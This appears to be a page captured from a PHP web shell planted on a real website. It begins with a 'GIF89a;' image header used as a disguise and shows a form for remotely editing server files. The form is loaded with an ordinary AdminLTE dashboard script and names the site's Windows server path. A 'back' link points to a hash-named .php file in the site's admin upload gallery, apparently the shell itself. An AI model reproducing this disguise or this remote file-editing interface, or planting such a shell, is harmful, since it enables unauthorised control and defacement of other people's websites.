GIF89a;
<h2>Edit File - dashboard.js</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="C:\inetpub\vhosts\rjinfotechindia.com\americcoholidays.com\admin\js\AdminLTE\dashboard.js">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">$(function() {
    &quot;use strict&quot;;

    //Make the dashboard widgets sortable Using jquery UI
    $(&quot;.connectedSortable&quot;).sortable({
        placeholder: &quot;sort-highlight&quot;,
        connectWith: &quot;.connectedSortable&quot;,
        handle: &quot;.box-header, .nav-tabs&quot;,
        forcePlaceholderSize: true,
        zIndex: 999999
    }).disableSelection();
    $(&quot;.box-header, .nav-tabs&quot;).css(&quot;cursor&quot;,&quot;move&quot;);
    //jQuery UI sortable for the todo list
    $(&quot;.todo-list&quot;).sortable({
        placeholder: &quot;sort-highlight&quot;,
        handle: &quot;.handle&quot;,
        forcePlaceholderSize: true,
        zIndex: 999999
    }).disableSelection();;

    //bootstrap WYSIHTML5 - text editor
    $(&quot;.textarea&quot;).wysihtml5();

    $(&#039;.daterange&#039;).daterangepicker(
            {
                ranges: {
                    &#039;Today&#039;: [moment(), moment()],
                    &#039;Yesterday&#039;: [moment().subtract(&#039;days&#039;, 1), moment().subtract(&#039;days&#039;, 1)],
                    &#039;Last 7 Days&#039;: [moment().subtract(&#039;days&#039;, 6), moment()],
                    &#039;Last 30 Days&#039;: [moment().subtract(&#039;days&#039;, 29), moment()],
                    &#039;This Month&#039;: [moment().startOf(&#039;month&#039;), moment().endOf(&#039;month&#039;)],
                    &#039;Last Month&#039;: [moment().subtract(&#039;month&#039;, 1).startOf(&#039;month&#039;), moment().subtract(&#039;month&#039;, 1).endOf(&#039;month&#039;)]
                },
                startDate: moment().subtract(&#039;days&#039;, 29),
                endDate: moment()
            },
    function(start, end) {
        alert(&quot;You chose: &quot; + start.format(&#039;MMMM D, YYYY&#039;) + &#039; - &#039; + end.format(&#039;MMMM D, YYYY&#039;));
    });

    /* jQueryKnob */
    $(&quot;.knob&quot;).knob();

    //jvectormap data
    var visitorsData = {
        &quot;US&quot;: 398, //USA
        &quot;SA&quot;: 400, //Saudi Arabia
        &quot;CA&quot;: 1000, //Canada
        &quot;DE&quot;: 500, //Germany
        &quot;FR&quot;: 760, //France
        &quot;CN&quot;: 300, //China
        &quot;AU&quot;: 700, //Australia
        &quot;BR&quot;: 600, //Brazil
        &quot;IN&quot;: 800, //India
        &quot;GB&quot;: 320, //Great Britain
        &quot;RU&quot;: 3000 //Russia
    };
    //World map by jvectormap
    $(&#039;#world-map&#039;).vectorMap({
        map: &#039;world_mill_en&#039;,
        backgroundColor: &quot;#fff&quot;,
        regionStyle: {
            initial: {
                fill: &#039;#e4e4e4&#039;,
                &quot;fill-opacity&quot;: 1,
                stroke: &#039;none&#039;,
                &quot;stroke-width&quot;: 0,
                &quot;stroke-opacity&quot;: 1
            }
        },
        series: {
            regions: [{
                    values: visitorsData,
                    scale: [&quot;#3c8dbc&quot;, &quot;#2D79A6&quot;], //[&#039;#3E5E6B&#039;, &#039;#A6BAC2&#039;],
                    normalizeFunction: &#039;polynomial&#039;
                }]
        },
        onRegionLabelShow: function(e, el, code) {
            if (typeof visitorsData[code] != &quot;undefined&quot;)
                el.html(el.html() + &#039;: &#039; + visitorsData[code] + &#039; new visitors&#039;);
        }
    });

    //Sparkline charts
    var myvalues = [15, 19, 20, -22, -33, 27, 31, 27, 19, 30, 21];
    $(&#039;#sparkline-1&#039;).sparkline(myvalues, {
        type: &#039;bar&#039;,
        barColor: &#039;#00a65a&#039;,
        negBarColor: &quot;#f56954&quot;,
        height: &#039;20px&#039;
    });
    myvalues = [15, 19, 20, 22, -2, -10, -7, 27, 19, 30, 21];
    $(&#039;#sparkline-2&#039;).sparkline(myvalues, {
        type: &#039;bar&#039;,
        barColor: &#039;#00a65a&#039;,
        negBarColor: &quot;#f56954&quot;,
        height: &#039;20px&#039;
    });
    myvalues = [15, -19, -20, 22, 33, 27, 31, 27, 19, 30, 21];
    $(&#039;#sparkline-3&#039;).sparkline(myvalues, {
        type: &#039;bar&#039;,
        barColor: &#039;#00a65a&#039;,
        negBarColor: &quot;#f56954&quot;,
        height: &#039;20px&#039;
    });
    myvalues = [15, 19, 20, 22, 33, -27, -31, 27, 19, 30, 21];
    $(&#039;#sparkline-4&#039;).sparkline(myvalues, {
        type: &#039;bar&#039;,
        barColor: &#039;#00a65a&#039;,
        negBarColor: &quot;#f56954&quot;,
        height: &#039;20px&#039;
    });
    myvalues = [15, 19, 20, 22, 33, 27, 31, -27, -19, 30, 21];
    $(&#039;#sparkline-5&#039;).sparkline(myvalues, {
        type: &#039;bar&#039;,
        barColor: &#039;#00a65a&#039;,
        negBarColor: &quot;#f56954&quot;,
        height: &#039;20px&#039;
    });
    myvalues = [15, 19, -20, 22, -13, 27, 31, 27, 19, 30, 21];
    $(&#039;#sparkline-6&#039;).sparkline(myvalues, {
        type: &#039;bar&#039;,
        barColor: &#039;#00a65a&#039;,
        negBarColor: &quot;#f56954&quot;,
        height: &#039;20px&#039;
    });

    //Date for the calendar events (dummy data)
    var date = new Date();
    var d = date.getDate(),
            m = date.getMonth(),
            y = date.getFullYear();

    //Calendar
    $(&#039;#calendar&#039;).fullCalendar({
        editable: true, //Enable drag and drop
        events: [
            {
                title: &#039;All Day Event&#039;,
                start: new Date(y, m, 1),
                backgroundColor: &quot;#3c8dbc&quot;, //light-blue 
                borderColor: &quot;#3c8dbc&quot; //light-blue
            },
            {
                title: &#039;Long Event&#039;,
                start: new Date(y, m, d - 5),
                end: new Date(y, m, d - 2),
                backgroundColor: &quot;#f39c12&quot;, //yellow
                borderColor: &quot;#f39c12&quot; //yellow
            },
            {
                title: &#039;Meeting&#039;,
                start: new Date(y, m, d, 10, 30),
                allDay: false,
                backgroundColor: &quot;#0073b7&quot;, //Blue
                borderColor: &quot;#0073b7&quot; //Blue
            },
            {
                title: &#039;Lunch&#039;,
                start: new Date(y, m, d, 12, 0),
                end: new Date(y, m, d, 14, 0),
                allDay: false,
                backgroundColor: &quot;#00c0ef&quot;, //Info (aqua)
                borderColor: &quot;#00c0ef&quot; //Info (aqua)
            },
            {
                title: &#039;Birthday Party&#039;,
                start: new Date(y, m, d + 1, 19, 0),
                end: new Date(y, m, d + 1, 22, 30),
                allDay: false,
                backgroundColor: &quot;#00a65a&quot;, //Success (green)
                borderColor: &quot;#00a65a&quot; //Success (green)
            },
            {
                title: &#039;Click for Google&#039;,
                start: new Date(y, m, 28),
                end: new Date(y, m, 29),
                url: &#039;http://google.com/&#039;,
                backgroundColor: &quot;#f56954&quot;, //red
                borderColor: &quot;#f56954&quot; //red
            }
        ],
        buttonText: {//This is to add icons to the visible buttons
            prev: &quot;&lt;span class=&#039;fa fa-caret-left&#039;&gt;&lt;/span&gt;&quot;,
            next: &quot;&lt;span class=&#039;fa fa-caret-right&#039;&gt;&lt;/span&gt;&quot;,
            today: &#039;today&#039;,
            month: &#039;month&#039;,
            week: &#039;week&#039;,
            day: &#039;day&#039;
        },
        header: {
            left: &#039;title&#039;,
            center: &#039;&#039;,
            right: &#039;prev,next&#039;
        }
    });

    //SLIMSCROLL FOR CHAT WIDGET
    $(&#039;#chat-box&#039;).slimScroll({
        height: &#039;250px&#039;
    });

    /* Morris.js Charts */
    // Sales chart
    var area = new Morris.Area({
        element: &#039;revenue-chart&#039;,
        resize: true,
        data: [
            {y: &#039;2011 Q1&#039;, item1: 2666, item2: 2666},
            {y: &#039;2011 Q2&#039;, item1: 2778, item2: 2294},
            {y: &#039;2011 Q3&#039;, item1: 4912, item2: 1969},
            {y: &#039;2011 Q4&#039;, item1: 3767, item2: 3597},
            {y: &#039;2012 Q1&#039;, item1: 6810, item2: 1914},
            {y: &#039;2012 Q2&#039;, item1: 5670, item2: 4293},
            {y: &#039;2012 Q3&#039;, item1: 4820, item2: 3795},
            {y: &#039;2012 Q4&#039;, item1: 15073, item2: 5967},
            {y: &#039;2013 Q1&#039;, item1: 10687, item2: 4460},
            {y: &#039;2013 Q2&#039;, item1: 8432, item2: 5713}
        ],
        xkey: &#039;y&#039;,
        ykeys: [&#039;item1&#039;, &#039;item2&#039;],
        labels: [&#039;Item 1&#039;, &#039;Item 2&#039;],
        lineColors: [&#039;#a0d0e0&#039;, &#039;#3c8dbc&#039;],
        hideHover: &#039;auto&#039;
    });
    //Donut Chart
    var donut = new Morris.Donut({
        element: &#039;sales-chart&#039;,
        resize: true,
        colors: [&quot;#3c8dbc&quot;, &quot;#f56954&quot;, &quot;#00a65a&quot;],
        data: [
            {label: &quot;Download Sales&quot;, value: 12},
            {label: &quot;In-Store Sales&quot;, value: 30},
            {label: &quot;Mail-Order Sales&quot;, value: 20}
        ],
        hideHover: &#039;auto&#039;
    });
    //Bar chart
    var bar = new Morris.Bar({
        element: &#039;bar-chart&#039;,
        resize: true,
        data: [
            {y: &#039;2006&#039;, a: 100, b: 90},
            {y: &#039;2007&#039;, a: 75, b: 65},
            {y: &#039;2008&#039;, a: 50, b: 40},
            {y: &#039;2009&#039;, a: 75, b: 65},
            {y: &#039;2010&#039;, a: 50, b: 40},
            {y: &#039;2011&#039;, a: 75, b: 65},
            {y: &#039;2012&#039;, a: 100, b: 90}
        ],
        barColors: [&#039;#00a65a&#039;, &#039;#f56954&#039;],
        xkey: &#039;y&#039;,
        ykeys: [&#039;a&#039;, &#039;b&#039;],
        labels: [&#039;CPU&#039;, &#039;DISK&#039;],
        hideHover: &#039;auto&#039;
    });
    //Fix for charts under tabs
    $(&#039;.box ul.nav a&#039;).on(&#039;shown.bs.tab&#039;, function(e) {
        area.redraw();
        donut.redraw();
    });


    /* BOX REFRESH PLUGIN EXAMPLE (usage with morris charts) */
    $(&quot;#loading-example&quot;).boxRefresh({
        source: &quot;ajax/dashboard-boxrefresh-demo.php&quot;,
        onLoadDone: function(box) {
            bar = new Morris.Bar({
                element: &#039;bar-chart&#039;,
                resize: true,
                data: [
                    {y: &#039;2006&#039;, a: 100, b: 90},
                    {y: &#039;2007&#039;, a: 75, b: 65},
                    {y: &#039;2008&#039;, a: 50, b: 40},
                    {y: &#039;2009&#039;, a: 75, b: 65},
                    {y: &#039;2010&#039;, a: 50, b: 40},
                    {y: &#039;2011&#039;, a: 75, b: 65},
                    {y: &#039;2012&#039;, a: 100, b: 90}
                ],
                barColors: [&#039;#00a65a&#039;, &#039;#f56954&#039;],
                xkey: &#039;y&#039;,
                ykeys: [&#039;a&#039;, &#039;b&#039;],
                labels: [&#039;CPU&#039;, &#039;DISK&#039;],
                hideHover: &#039;auto&#039;
            });
        }
    });

    /* The todo list plugin */
    $(&quot;.todo-list&quot;).todolist({
        onCheck: function(ele) {
            //console.log(&quot;The element has been checked&quot;)
        },
        onUncheck: function(ele) {
            //console.log(&quot;The element has been unchecked&quot;)
        }
    });

});</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/admin/upload/gallery/c067e7a1bfea76618615016f6d3c9aff.php?dir=." class="btn gray">Kembali</a>
              </form>